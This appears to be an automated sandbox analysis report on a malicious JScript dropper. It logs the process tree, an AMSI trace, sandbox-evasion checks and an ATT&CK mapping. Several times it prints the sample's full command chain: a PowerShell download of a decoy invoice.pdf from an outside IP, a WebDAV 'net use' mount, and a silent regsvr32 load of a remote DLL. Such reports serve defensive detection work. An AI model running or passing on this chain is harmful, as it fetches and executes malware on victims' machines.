Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6125.js.csv");ITextStream.WriteLine(" entry:7825 f:rsozhpkn");ITextStream.WriteLine(" exec:2 f:rsozhpkn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4693			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5170			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7980	Thread sleep count: 4693 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep count: 5170 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7352	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6772	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1414148850.000001A3DC038000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\amep
Source: net.exe, 00000007.00000003.1473963696.0000024BE244A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO
Source: net.exe, 00000007.00000002.1481332693.0000024BE23E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.1473963696.0000024BE244A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2715630872.000002A0D965A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2712456724.000002A0D402B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
